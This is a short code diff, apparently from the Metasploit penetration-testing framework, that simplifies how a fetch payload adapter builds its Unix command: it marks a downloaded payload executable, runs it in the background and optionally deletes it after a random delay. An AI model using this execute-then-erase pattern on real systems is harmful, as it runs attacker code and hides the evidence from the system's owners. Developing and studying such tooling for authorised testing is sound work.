Streamline command

Author: bwatters-r7

lib/msf/core/payload/adapter/fetch.rb

@@ -203,14 +203,8 @@ def _execute_win
 
   def _execute_nix
     cmds = ";chmod +x #{_remote_destination_nix}"
-    if datastore['FETCH_DELETE']
-      # sometimes the delete can happen before the process is created
-      sleep_delete = rand(2..7)
-      cmds << ";(#{_remote_destination_nix} &)"
-      cmds << ";sleep #{sleep_delete};rm -rf #{_remote_destination_nix}"
-    else
-      cmds << ";#{_remote_destination_nix} &"
-    end
+    cmds << ";#{_remote_destination_nix}&"
+    cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
     cmds
   end